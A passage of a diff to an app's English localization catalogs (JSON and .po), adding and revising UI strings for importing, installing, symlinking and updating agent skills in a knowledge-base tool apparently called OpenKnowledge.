"xzktOa": ["Edit wiki link"],
"y1t8bQ": ["Settings sections"],
@@ -3348,9 +3654,13 @@
],
"yHikCO": ["Open CodeMirror's go-to-line prompt."],
"yIPXut": ["Preparing search"],
+ "yK1m_z": [["0", "plural", { "one": ["Skill"], "other": ["Skills"] }]],
"yKu_3Y": ["Restore"],
"yLEyuq": ["Product updates in your inbox."],
"yLq4w4": ["Separator"],
+ "yLwx9e": [
+ "A parent directory is the symlink — unlink that folder itself to take this one back."
+ ],
"yMgL_E": ["Find field navigation"],
"yQE2r9": ["Loading"],
"yQyglE": ["No matching docs"],
@@ -3365,7 +3675,9 @@
"y_5CE8": ["Item ", ["0"]],
"y_K0Dz": ["What happened?"],
"yaPGPa": ["Open a project to manage its AI tool connections."],
+ "ybWWR2": ["Symlinks the skill to ", ["0"]],
"ycIX5i": ["You're signed out — sign in to resume syncing."],
+ "yckias": ["Rename file"],
"ydzS9x": ["Exit"],
"yf5auF": ["Search rules by id, alias, or name"],
"yf5r22": [
@@ -3375,10 +3687,11 @@
" (inherited from folder properties; not editable here)"
],
"ygCKqB": ["Stop"],
+ "yg_6wQ": ["Search failed. Try again."],
+ "yhI6P0": ["Moved \"", ["0"], "\" to ", ["1"]],
"yhdqox": [
"Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."
],
- "yitgD9": ["Failed to load skill targets: ", ["0"]],
"yjExfe": ["Branch <0>", ["shareBranch"], "</0> is checked out in:"],
"ylXj1N": ["Selected"],
"ymWJLd": ["Show ", ["0"], " more"],
@@ -3437,6 +3750,7 @@
["date"],
"}</1> fills in on create."
],
+ "zt9ZgM": ["This repo bundles ", ["count"], " skills. Install any of them from the plugin."],
"ztKII6": ["Failed to add item"],
"zvjCD4": ["Detailed diagnostics"],
"zwBp5t": ["Private"],
diff --git a/packages/app/src/locales/en/messages.po b/packages/app/src/locales/en/messages.po
index 5b637a115..dbf23eb16 100644
--- a/packages/app/src/locales/en/messages.po
+++ b/packages/app/src/locales/en/messages.po
@@ -33,6 +33,10 @@ msgstr "— except"
msgid "… earlier output trimmed"
msgstr "… earlier output trimmed"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid ".myteam/skills"
+msgstr ".myteam/skills"
+
#: src/components/FileSidebar.tsx
msgid ".ok folders"
msgstr ".ok folders"
@@ -51,10 +55,15 @@ msgstr ".ok/skills is committable so your team gets your skills; the rest of .ok
msgid "\"{0}\" install refreshed ({1})"
msgstr "\"{0}\" install refreshed ({1})"
-#. placeholder {0}: skill.name
-#: src/components/skill-actions.tsx
-msgid "\"{0}\" uninstalled — back to a draft"
-msgstr "\"{0}\" uninstalled — back to a draft"
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "\"{0}\" was already added (identical content)."
+msgstr "\"{0}\" was already added (identical content)."
+
+#. placeholder {0}: result.name
+#: src/lib/skill-import-toast.ts
+msgid "\"{0}\" was already imported (identical content)."
+msgstr "\"{0}\" was already imported (identical content)."
#: src/components/DocumentErrorBoundary.tsx
msgid "\"{docName}\" doesn't exist."
@@ -64,6 +73,10 @@ msgstr "\"{docName}\" doesn't exist."
msgid "\"{docName}\" took too long. Check your connection."
msgstr "\"{docName}\" took too long. Check your connection."
+#: src/hooks/use-skill-origin.ts
+msgid "\"{name}\" is already up to date"
+msgstr "\"{name}\" is already up to date"
+
#: src/components/FolderPropertiesCard.tsx
msgid "\"{trimmed}\" already exists here"
msgstr "\"{trimmed}\" already exists here"
@@ -78,6 +91,10 @@ msgstr "\"frontmatter\" is a reserved property name"
msgid "(a worktree of {0})"
msgstr "(a worktree of {0})"
+#: src/components/SkillBundlePreview.tsx
+msgid "(binary file, not previewable)"
+msgstr "(binary file, not previewable)"
+
#: src/components/RecentProjectsMenu.tsx
msgid "(detached)"
msgstr "(detached)"
@@ -120,6 +137,10 @@ msgstr "(root)"
msgid "(some may already be hidden by other rules)"
msgstr "(some may already be hidden by other rules)"
+#: src/components/SkillProperties.tsx
+msgid "(symlink)"
+msgstr "(symlink)"
+
#. Scope tag next to an AI tool — config is written at user level only
#: src/components/ConsentDialogBody.tsx
msgid "(user-level only)"
@@ -200,6 +221,11 @@ msgstr "{0, plural, one {Folder} other {Folders}}"
msgid "{0, plural, one {No problems across # document.} other {No problems across # documents.}}"
msgstr "{0, plural, one {No problems across # document.} other {No problems across # documents.}}"
+#. placeholder {0}: skillRows.length
+#: src/components/CreatedItemsList.tsx
+msgid "{0, plural, one {Skill} other {Skills}}"
+msgstr "{0, plural, one {Skill} other {Skills}}"
+
#. placeholder {0}: result.additions
#. placeholder {0}: stat.additions
#. placeholder {1}: result.deletions
@@ -249,6 +275,19 @@ msgstr "{0} needs {1}"
msgid "{0} of {1} projects selected"
msgstr "{0} of {1} projects selected"
+#. placeholder {0}: selected.size
+#. placeholder {1}: names.length
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "{0} of {1} selected"
+msgstr "{0} of {1} selected"
+
+#. placeholder {0}: hostLabel(h)
+#. placeholder {1}: hostLabel(h)
+#. placeholder {2}: skill?.name ?? ''
+#: src/components/SkillInstallMenu.tsx
+msgid "{0} reads this skill via {poolRootRel}. Click to stop {1} getting \"{2}\" — {subRoot} keeps its other skills but stops following {poolRootRel}."
+msgstr "{0} reads this skill via {poolRootRel}. Click to stop {1} getting \"{2}\" — {subRoot} keeps its other skills but stops following {poolRootRel}."
+
#. placeholder {0}: templates.length
#: src/components/empty-state/CreateView.tsx
msgid "{0} templates available"
@@ -333,6 +372,11 @@ msgstr "{behind} behind"
msgid "{behind} behind origin"
msgstr "{behind} behind origin"
+#. placeholder {0}: pluginInfo.plugin
+#: src/components/SkillPreviewTab.tsx
+msgid "{boldName} is part of the <0>{0}</0> plugin{pluginVersion} — read-only. {boldHarness} replaces plugin files on update."
+msgstr "{boldName} is part of the <0>{0}</0> plugin{pluginVersion} — read-only. {boldHarness} replaces plugin files on update."
+
#: src/components/EditorFooter.tsx
msgid "{chars, plural, one {char} other {chars}}"
msgstr "{chars, plural, one {char} other {chars}}"
@@ -377,6 +421,10 @@ msgstr "{count, plural, one {Instantly fixes the # problem that has a known auto
msgid "{count, plural, one {matches # file} other {matches # files}}"
msgstr "{count, plural, one {matches # file} other {matches # files}}"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "{count} skills at this source"
+msgstr "{count} skills at this source"
+
#: src/components/TimelinePanel.tsx
msgid "{days, plural, one {# day ago} other {# days ago}}"
msgstr "{days, plural, one {# day ago} other {# days ago}}"
@@ -409,6 +457,18 @@ msgstr "{diffHrs}h ago"
msgid "{diffMin}m ago"
msgstr "{diffMin}m ago"
+#: src/components/SkillsSidebarSection.tsx
+msgid "{dir} (symlink)"
+msgstr "{dir} (symlink)"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "{display} is a symlink to the source while the skill's other locations are copies. Click to make it an independent copy."
+msgstr "{display} is a symlink to the source while the skill's other locations are copies. Click to make it an independent copy."
+
+#: src/components/SkillInstallMenu.tsx
+msgid "{display} is an independent copy while the skill's other locations are symlinks. Click to make it a symlink to the source."
+msgstr "{display} is an independent copy while the skill's other locations are symlinks. Click to make it a symlink to the source."
+
#: src/components/TerminalCliMissingBanner.tsx
msgid "{displayName} ({bin}) isn't installed or on your PATH."
msgstr "{displayName} ({bin}) isn't installed or on your PATH."
@@ -619,6 +679,10 @@ msgstr "{sizeText} · secrets redacted · crash dump not redacted"
msgid "{skillCount, plural, one {skill} other {skills}}"
msgstr "{skillCount, plural, one {skill} other {skills}}"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "{source} publishes {count} skills. Install any of them together."
+msgstr "{source} publishes {count} skills. Install any of them together."
+
#: src/components/EnableSyncConfirmDialog.tsx
msgid "{strandedCommitCount, plural, one {You have 1 change you haven't shared. It will stay on this computer.} other {You have # changes you haven't shared. They will stay on this computer.}}"
msgstr "{strandedCommitCount, plural, one {You have 1 change you haven't shared. It will stay on this computer.} other {You have # changes you haven't shared. They will stay on this computer.}}"
@@ -639,6 +703,15 @@ msgstr "{truncatedShownCount, plural, one {Showing the first item in one folder
msgid "{uploadedCount, plural, one {Uploaded one file} other {Uploaded {uploadedCount} files}}"
msgstr "{uploadedCount, plural, one {Uploaded one file} other {Uploaded {uploadedCount} files}}"
+#. placeholder {0}: files.length
+#: src/components/ImportSkillForm.tsx
+msgid "{uploadFolderName} — {0} files"
+msgstr "{uploadFolderName} — {0} files"
+
+#: src/components/ImportSkillForm.tsx
+msgid "{uploadFolderName} — 1 file"
+msgstr "{uploadFolderName} — 1 file"
+
#: src/components/acp/ThreadView.tsx
msgid "{usedLabel} / {sizeLabel} tokens used"
msgstr "{usedLabel} / {sizeLabel} tokens used"
@@ -720,6 +793,10 @@ msgstr "<0>Mirror source removed.</0> The doc <1>{src}</1> is no longer availabl
msgid "<0>ok</0> won't run in external terminals until you add it later from the File menu. OpenKnowledge's built-in terminal and AI tools keep working."
msgstr "<0>ok</0> won't run in external terminals until you add it later from the File menu. OpenKnowledge's built-in terminal and AI tools keep working."
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "~/.myteam/skills"
+msgstr "~/.myteam/skills"
+
#. placeholder {0}: row.count
#: src/components/acp/ThreadView.tsx
msgid "⋯ {0} unchanged lines"
@@ -729,6 +806,14 @@ msgstr "⋯ {0} unchanged lines"
msgid "📝 or assets/icon.png"
msgstr "📝 or assets/icon.png"
+#: src/components/ProseFindBar.tsx
+msgid "0/0"
+msgstr "0/0"
+
+#: src/components/ImportSkillForm.tsx
+msgid "A .zip or .skill archive."
+msgstr "A .zip or .skill archive."
+
#: src/components/settings/markdownlint-rule-browser.tsx
msgid "A <0>Modified</0> badge marks rules your config sets explicitly — directly, or inherited through <1>extends</1>. Unmarked rules keep their default state."
msgstr "A <0>Modified</0> badge marks rules your config sets explicitly — directly, or inherited through <1>extends</1>. Unmarked rules keep their default state."
@@ -741,10 +826,27 @@ msgstr "A branch named {shareBranch} already exists. Open its worktree from the
msgid "A branch with that name already exists. Open its worktree from the switcher instead."
msgstr "A branch with that name already exists. Open its worktree from the switcher instead."
+#: src/components/SkillInstallMenu.tsx
+msgid "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill."
+msgstr "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill."
+
+#: src/components/SkillInstallMenu.tsx
+msgid "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill. A symlink is a pointer to the source instead, so nothing can drift, but a location stops working if the source is deleted."
+msgstr "A copy is a real folder of its own, and OK keeps it in step with the source: edit the skill here and every copy is refreshed. That stops the moment you hand-edit a copy outside OK — from then on it goes its own way and shows up as a separate skill. A symlink is a pointer to the source instead, so nothing can drift, but a location stops working if the source is deleted."
+
+#. placeholder {0}: path ?? label
+#: src/components/SkillInstallMenu.tsx
+msgid "A DIFFERENT skill named like this one lives at {0} — that folder is not this skill. Rename or delete one of the two to resolve."
+msgstr "A DIFFERENT skill named like this one lives at {0} — that folder is not this skill. Rename or delete one of the two to resolve."
+
#: src/components/SyncStatusBadge.tsx
msgid "A document has a conflict — resolve it to keep it up to date."
msgstr "A document has a conflict — resolve it to keep it up to date."
+#: src/components/ImportSkillForm.tsx
+msgid "A folder containing SKILL.md."
+msgstr "A folder containing SKILL.md."
+
#: src/components/CreateProjectDialog.tsx
msgid "A folder named <0>{sanitized}</0> already has files here. Pick a different name."
msgstr "A folder named <0>{sanitized}</0> already has files here. Pick a different name."
@@ -778,6 +880,14 @@ msgstr "A newer version may have been deployed since this tab opened."
msgid "A non-empty folder already exists at this path. Pick a different folder."
msgstr "A non-empty folder already exists at this path. Pick a different folder."
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "A parent directory is the symlink — unlink that folder itself to take this one back."
+msgstr "A parent directory is the symlink — unlink that folder itself to take this one back."
+
+#: src/components/SkillFileCreateDialog.tsx
+msgid "A path inside the skill — any folder works (e.g. references/notes.md). Folders in the path are created for you."
+msgstr "A path inside the skill — any folder works (e.g. references/notes.md). Folders in the path are created for you."
+
#: src/components/settings/LintingSection.tsx
msgid "A personal color-theme picker — not shared with your project. When on, it appears under Plugins in the sidebar."
msgstr "A personal color-theme picker — not shared with your project. When on, it appears under Plugins in the sidebar."
@@ -786,6 +896,10 @@ msgstr "A personal color-theme picker — not shared with your project. When on,
msgid "A picture of the app from just before you opened this. It isn't redacted, so check the preview and uncheck it if anything shouldn't be shared."
msgstr "A picture of the app from just before you opened this. It isn't redacted, so check the preview and uncheck it if anything shouldn't be shared."
+#: src/components/empty-state/CreatePromptComposer.tsx
+msgid "A PR reviewer, a release-notes writer, a deploy checklist..."
+msgstr "A PR reviewer, a release-notes writer, a deploy checklist..."
+
#: src/components/CreateProjectDialog.tsx
msgid "A project already exists at this location. Pick a different parent folder."
msgstr "A project already exists at this location. Pick a different parent folder."
@@ -818,13 +932,17 @@ msgstr "A short line shown under the title in the template list."
msgid "A simple place to write, with one file per topic and a daily journal. Pick this if you just want to start writing and let the links between notes build up over time."
msgstr "A simple place to write, with one file per topic and a daily journal. Pick this if you just want to start writing and let the links between notes build up over time."
+#: src/components/NewSkillDialog.tsx
+msgid "A skill named \"{trimmed}\" already exists here"
+msgstr "A skill named \"{trimmed}\" already exists here"
+
#: src/components/SkillRenameDialog.tsx
msgid "A skill with that name already exists."
msgstr "A skill with that name already exists."
-#: src/components/NewSkillDialog.tsx
-msgid "A skill with this name already exists."
-msgstr "A skill with this name already exists."
+#: src/components/SkillInstallMenu.tsx
+msgid "A symlink is a pointer to the source folder rather than a folder of its own. Every location reads the exact same bytes, so nothing can drift, and a location stops working if the source is deleted."
+msgstr "A symlink is a pointer to the source folder rather than a folder of its own. Every location reads the exact same bytes, so nothing can drift, and a location stops working if the source is deleted."
#: src/components/empty-state/CreatePromptComposer.tsx
msgid "A team knowledge base, a personal wiki, project docs..."
@@ -850,6 +968,10 @@ msgstr "A worktree folder for that branch already exists."
msgid "Above"
msgstr "Above"
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "absent"
+msgstr "absent"
+
#: src/components/settings/CustomThemeEditor.tsx
msgid "Accent"
msgstr "Accent"
@@ -867,12 +989,6 @@ msgstr "Accept their deletion"
msgid "Account"
msgstr "Account"
-#. placeholder {0}: skill.name
-#: src/components/SkillRow.tsx
-#: src/components/SkillsSidebarSection.tsx
-msgid "Actions for {0}"
-msgstr "Actions for {0}"
-
#: src/components/TemplateRow.tsx
msgid "Actions for {label}"
msgstr "Actions for {label}"
@@ -961,6 +1077,10 @@ msgstr "Add context to this message"
msgid "Add cursors or select matching occurrences through CodeMirror."
msgstr "Add cursors or select matching occurrences through CodeMirror."
+#: src/components/settings/SkillTargetsPicker.tsx
+msgid "Add custom path"
+msgstr "Add custom path"
+
#: src/components/settings/frontmatter-schema-field-editor.tsx
msgid "Add description"
msgstr "Add description"
@@ -997,7 +1117,8 @@ msgstr "Add meaning-based ranking to search so conceptually-related pages surfac
msgid "Add pattern"
msgstr "Add pattern"
-#: src/components/EditorToolbar.tsx
+#: src/components/AddPropertiesButton.tsx
+#: src/components/SkillToolbarControls.tsx
msgid "Add properties"
msgstr "Add properties"
@@ -1010,6 +1131,10 @@ msgstr "Add property"
msgid "Add property to {keyName}"
msgstr "Add property to {keyName}"
+#: src/components/ImportSkillDialog.tsx
+msgid "Add skill"
+msgstr "Add skill"
+
#: src/editor/components/Tabs.tsx
msgid "Add tab"
msgstr "Add tab"
@@ -1041,6 +1166,10 @@ msgstr "Add to queue"
msgid "Add value"
msgstr "Add value"
+#: src/components/SkillDirectoryResult.tsx
+msgid "Added"
+msgstr "Added"
+
#. Subtext for the open-knowledge-write-skill skill row
#. Subtext for the open-knowledge-write-skill skill row
#: src/components/McpConsentDialogBody.tsx
@@ -1067,6 +1196,11 @@ msgstr "Adds telemetry, server state, and runtime info when available. Credentia
msgid "Adds the OpenKnowledge skill to the <0>Claude Desktop App</0> so it's available in Chat and Cowork sessions."
msgstr "Adds the OpenKnowledge skill to the <0>Claude Desktop App</0> so it's available in Chat and Cowork sessions."
+#. placeholder {0}: subs.map(hostLabel).join(', ')
+#: src/components/SkillInstallMenu.tsx
+msgid "Adds the skill to {rootRel} — also read by {0}"
+msgstr "Adds the skill to {rootRel} — also read by {0}"
+
#: src/editor/components/PropPanel.tsx
msgid "Advanced"
msgstr "Advanced"
@@ -1104,6 +1238,10 @@ msgstr "Agent settings"
msgid "Agent Skills"
msgstr "Agent Skills"
+#: src/components/ExploreSkills.tsx
+msgid "Agents"
+msgstr "Agents"
+
#: src/components/settings/AiToolsSection.tsx
msgid "AI tool management is only available in the OpenKnowledge desktop app."
msgstr "AI tool management is only available in the OpenKnowledge desktop app."
@@ -1118,6 +1256,14 @@ msgstr "AI tools"
msgid "AI tools & CLI"
msgstr "AI tools & CLI"
+#: src/components/SkillForkDialog.tsx
+msgid "Aligned {editor} to the source (its bytes are backed up)"
+msgstr "Aligned {editor} to the source (its bytes are backed up)"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "All"
+msgstr "All"
+
#: src/components/FolderOverview.tsx
msgid "All files"
msgstr "All files"
@@ -1158,6 +1304,10 @@ msgstr "Already at {assetContentPath} — reusing."
msgid "Already have a git repository? Add it with <0>git remote add origin <url></0> in this project's folder. This page updates automatically once a remote is detected."
msgstr "Already have a git repository? Add it with <0>git remote add origin <url></0> in this project's folder. This page updates automatically once a remote is detected."
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Already installed — nothing new to import."
+msgstr "Already installed — nothing new to import."
+
#: src/components/GraphPanel.tsx
msgid "Already open"
msgstr "Already open"
@@ -1200,6 +1350,10 @@ msgstr "any"
msgid "any doc named {0}"
msgstr "any doc named {0}"
+#: src/components/ImportSkillForm.tsx
+msgid "Any scripts are shown for review, never run."
+msgstr "Any scripts are shown for review, never run."
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Anyone can see"
msgstr "Anyone can see"
@@ -1237,8 +1391,8 @@ msgid "Applies to (globs — leading ! excludes; empty means every doc)"
msgstr "Applies to (globs — leading ! excludes; empty means every doc)"
#: src/components/settings/TerminalSection.tsx
-msgid "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
-msgstr "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
+msgid "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, importing or installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
+msgstr "Applies to all projects on this machine. Claude and Codex, started from the built-in terminal, auto-approve OpenKnowledge's read and write tools (Claude also auto-runs \"ok open\"). Deleting, moving, sharing, importing or installing skills, other commands, and non-OpenKnowledge file edits still ask. Cursor, OpenCode, and Pi are unaffected. Best-effort per agent."
#: src/editor/bubble-menu/LinkEditPopover.tsx
msgid "Apply link"
@@ -1409,6 +1563,26 @@ msgstr "Auto-sync is paused — you don't have permission to push to this repo.
msgid "Auto-sync periodically fetches, pulls, and pushes commits to your remote git repository so your edits stay in sync across machines."
msgstr "Auto-sync periodically fetches, pulls, and pushes commits to your remote git repository so your edits stay in sync across machines."
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update"
+msgstr "Auto-update"
+
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update from source"
+msgstr "Auto-update from source"
+
+#: src/components/SkillOriginInline.tsx
+msgid "Auto-update is off — use Update to pull new versions"
+msgstr "Auto-update is off — use Update to pull new versions"
+
+#: src/hooks/use-skill-origin.ts
+msgid "Auto-update off for \"{name}\""
+msgstr "Auto-update off for \"{name}\""
+
+#: src/hooks/use-skill-origin.ts
+msgid "Auto-update on for \"{name}\""
+msgstr "Auto-update on for \"{name}\""
+
#. Section label for the automatic, one-click install path
#: src/components/InstallInClaudeDesktopDialog.tsx
msgid "Automatic"
@@ -1418,9 +1592,9 @@ msgstr "Automatic"
msgid "Available"
msgstr "Available"
-#: src/components/settings/SkillsManagerSection.tsx
-msgid "Available in every project on this computer."
-msgstr "Available in every project on this computer."
+#: src/lib/skill-scope.ts
+msgid "Available in every project on this machine. Not shared through git."
+msgstr "Available in every project on this machine. Not shared through git."
#: src/components/settings/SharingSection.tsx
msgid "Available in the OpenKnowledge desktop app. From a terminal, use<0> ok config-sharing status</0> / <1>share</1> / <2>unshare</2>."
@@ -1431,6 +1605,7 @@ msgstr "Available in the OpenKnowledge desktop app. From a terminal, use<0> ok c
#: src/components/NavigationHistoryControls.tsx
#: src/components/ReportBugDialogBody.tsx
#: src/components/SeedDialog.tsx
+#: src/components/SkillForkDialog.tsx
#: src/lib/keyboard-shortcuts.ts
msgid "Back"
msgstr "Back"
@@ -1578,10 +1753,22 @@ msgstr "Broken link"
msgid "Browse"
msgstr "Browse"
+#: src/components/SkillsBasePage.tsx
+msgid "Browse all"
+msgstr "Browse all"
+
#: src/components/share-receive-miss-content.tsx
msgid "Browse folder"
msgstr "Browse folder"
+#: src/components/ImportSkillDialog.tsx
+msgid "Browse or upload a skill for this project."
+msgstr "Browse or upload a skill for this project."
+
+#: src/components/SkillsBasePage.tsx
+msgid "Browse skills.sh"
+msgstr "Browse skills.sh"
+
#: src/components/CloneDialog.tsx
msgid "Browse your repos:"
msgstr "Browse your repos:"
@@ -1620,6 +1807,10 @@ msgstr "Build and keep track of the world behind your story. A home for your cha
msgid "Building <0>openknowledge.skill</0> and opening the Claude Desktop App"
msgstr "Building <0>openknowledge.skill</0> and opening the Claude Desktop App"
+#: src/components/SkillsSidebarSection.tsx
+msgid "Built-in (read-only)"
+msgstr "Built-in (read-only)"
+
#: src/lib/keyboard-shortcuts.ts
msgid "Bullet list"
msgstr "Bullet list"
@@ -1632,6 +1823,10 @@ msgstr "Bullet List"
msgid "By meaning"
msgstr "By meaning"
+#: src/components/SkillDirectoryResult.tsx
+msgid "By OpenKnowledge"
+msgstr "By OpenKnowledge"
+
#: src/components/CommandPalette.tsx
msgid "By tag"
msgstr "By tag"
@@ -1662,6 +1857,7 @@ msgstr "Can't safely edit this tool's config"
#: src/components/DeleteConfirmationDialog.tsx
#: src/components/EnableSyncConfirmDialog.tsx
#: src/components/FrontmatterRow.tsx
+#: src/components/ImportSkillForm.tsx
#: src/components/InstallInClaudeDesktopDialog.tsx
#: src/components/MountStalledAffordance.tsx
#: src/components/NewItemDialog.tsx
@@ -1675,8 +1871,11 @@ msgstr "Can't safely edit this tool's config"
#: src/components/settings/SearchSection.tsx
#: src/components/ShareBranchSwitchDialog.tsx
#: src/components/ShareReceiveDialog.tsx
+#: src/components/SkillFileCreateDialog.tsx
+#: src/components/SkillFileRenameDialog.tsx
+#: src/components/SkillPluginBundleDialog.tsx
#: src/components/SkillRenameDialog.tsx
-#: src/components/SkillUpdateDialog.tsx
+#: src/components/SkillScopeMoveDialog.tsx
#: src/components/TimelineDiffPane.tsx
#: src/components/TimelinePanel.tsx
#: src/components/TrashFailureModal.tsx
@@ -1707,6 +1906,14 @@ msgstr "Change provider"
msgid "Change the embeddings provider?"
msgstr "Change the embeddings provider?"
+#: src/components/ChangedOutsideBadge.tsx
+msgid "changed outside"
+msgstr "changed outside"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Changed outside OK since it last wrote here — the state shown is what's on disk now"
+msgstr "Changed outside OK since it last wrote here — the state shown is what's on disk now"
+
#: src/components/command-palette-commands.ts
msgid "Check for updates"
msgstr "Check for updates"
@@ -1737,6 +1944,10 @@ msgstr "Checkbox"
msgid "Checked by: {0}"
msgstr "Checked by: {0}"
+#: src/components/SkillEditorActions.tsx
+msgid "Checking"
+msgstr "Checking"
+
#: src/comments/CommentQueuePanel.tsx
#: src/components/BottomComposer.tsx
msgid "Checking for agents"
@@ -1763,6 +1974,10 @@ msgstr "Checking out files"
msgid "Checking sign-in status"
msgstr "Checking sign-in status"
+#: src/components/ImportSkillForm.tsx
+msgid "Checking source"
+msgstr "Checking source"
+
#: src/components/settings/AccountSection.tsx
msgid "Checking your GitHub connection"
msgstr "Checking your GitHub connection"
@@ -1775,11 +1990,27 @@ msgstr "Checking..."
msgid "Checklist with checkboxes."
msgstr "Checklist with checkboxes."
+#: src/components/ImportSkillForm.tsx
+msgid "Choose a skill archive"
+msgstr "Choose a skill archive"
+
+#: src/components/ImportSkillForm.tsx
+msgid "Choose a skill folder"
+msgstr "Choose a skill folder"
+
#: src/components/BottomComposer.tsx
#: src/components/empty-state/CreatePromptComposer.tsx
msgid "Choose agent"
msgstr "Choose agent"
+#: src/components/ImportSkillForm.tsx
+msgid "Choose file"
+msgstr "Choose file"
+
+#: src/components/ImportSkillForm.tsx
+msgid "Choose folder"
+msgstr "Choose folder"
+
#: src/components/TerminalNewChatButton.tsx
msgid "Choose what a new session starts"
msgstr "Choose what a new session starts"
@@ -1796,10 +2027,6 @@ msgstr "Choose whether this project's OpenKnowledge setup, including its AI-tool
msgid "Choose which agents appear in the agent selector. Turn one off to hide it everywhere."
msgstr "Choose which agents appear in the agent selector. Turn one off to hide it everywhere."
-#: src/components/settings/SkillTargetsPicker.tsx
-msgid "Choose which editors every skill in this project installs into."
-msgstr "Choose which editors every skill in this project installs into."
-
#: src/components/handoff/AgentSplitButton.tsx
msgid "Claude"
msgstr "Claude"
@@ -1826,6 +2053,7 @@ msgstr "Cleanup log"
#: src/comments/CommentQueuePanel.tsx
#: src/components/settings/SearchSection.tsx
+#: src/components/SkillPluginBundleDialog.tsx
msgid "Clear"
msgstr "Clear"
@@ -1857,6 +2085,10 @@ msgstr "Click <0>+</0> <1/> <2>Create skill</2> <3/> <4>Upload skill</4>."
msgid "Click an agent's avatar in the presence bar to view their session."
msgstr "Click an agent's avatar in the presence bar to view their session."
+#: src/components/SkillInstallMenu.tsx
+msgid "Click to install in {label}"
+msgstr "Click to install in {label}"
+
#: src/components/CloneDialog.tsx
msgid "Clone"
msgstr "Clone"
@@ -1949,6 +2181,7 @@ msgstr "Close comment"
msgid "Close diff"
msgstr "Close diff"
+#: src/components/ProseFindBar.tsx
#: src/editor/find-replace/FindReplaceBar.tsx
msgid "Close find"
msgstr "Close find"
@@ -2062,6 +2295,10 @@ msgstr "Command failed."
msgid "Command palette"
msgstr "Command palette"
+#: src/components/SkillPluginBundleBanner.tsx
+msgid "commands"
+msgstr "commands"
+
#: src/components/CommandPalette.tsx
msgid "Commands"
msgstr "Commands"
@@ -2172,6 +2409,10 @@ msgstr "Configure agents"
msgid "Configure user, project, and integration settings."
msgstr "Configure user, project, and integration settings."
+#: src/components/SkillInstallMenu.tsx
+msgid "conflict"
+msgstr "conflict"
+
#: src/components/SyncStatusBadge.tsx
msgid "Conflict"
msgstr "Conflict"
@@ -2329,6 +2570,14 @@ msgstr "Convert"
msgid "Convert (delete original)"
msgstr "Convert (delete original)"
+#: src/components/SkillInstallMenu.tsx
+msgid "Convert locations to copies"
+msgstr "Convert locations to copies"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Convert locations to symlinks"
+msgstr "Convert locations to symlinks"
+
#: src/editor/bubble-menu/FootnoteBubbleButton.tsx
msgid "Convert selection to footnote"
msgstr "Convert selection to footnote"
@@ -2369,6 +2618,19 @@ msgstr "Copied relative path"
msgid "Copied!"
msgstr "Copied!"
+#. placeholder {0}: r.display
+#: src/components/SkillInstallMenu.tsx
+msgid "Copies the skill to {0}"
+msgstr "Copies the skill to {0}"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "Copies the skill to {path}"
+msgstr "Copies the skill to {path}"
+
+#: src/components/SkillInstallMenu.tsx
+msgid "copy"
+msgstr "copy"
+
#: src/components/AppMenubar.tsx
#: src/components/CopyButton.tsx
#: src/components/empty-state/CopyablePromptList.tsx
@@ -2439,6 +2701,10 @@ msgstr "Copy source"
msgid "Copy the focused file-tree item so Paste can duplicate it."
msgstr "Copy the focused file-tree item so Paste can duplicate it."
+#: src/components/SkillPreviewTab.tsx
+msgid "Copying"
+msgstr "Copying"
+
#: src/components/PublishToGitHubDialog.tsx
msgid "Copying..."
msgstr "Copying..."
@@ -2613,7 +2879,12 @@ msgid "Couldn't copy. Select the URL above to copy it manually."
msgstr "Couldn't copy. Select the URL above to copy it manually."
#. placeholder {0}: result.error
-#: src/components/NewSkillDialog.tsx
+#: src/components/SkillFileCreateDialog.tsx
+msgid "Couldn't create {trimmed}: {0}"
+msgstr "Couldn't create {trimmed}: {0}"
+
+#. placeholder {0}: result.error
+#: src/hooks/use-create-blank-skill.ts
msgid "Couldn't create skill: {0}"
msgstr "Couldn't create skill: {0}"
@@ -2656,11 +2927,27 @@ msgstr "Couldn't duplicate \"{0}\": {1}"
msgid "Couldn't finish installing {0} — see below."
msgstr "Couldn't finish installing {0} — see below."
+#. placeholder {0}: projected.error
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Couldn't install {skillName}: {0}"
+msgstr "Couldn't install {skillName}: {0}"
+
+#. placeholder {0}: plugin ?? source
+#. placeholder {1}: result.error
+#: src/components/SkillPluginBundleDialog.tsx
+msgid "Couldn't install from {0}: {1}"
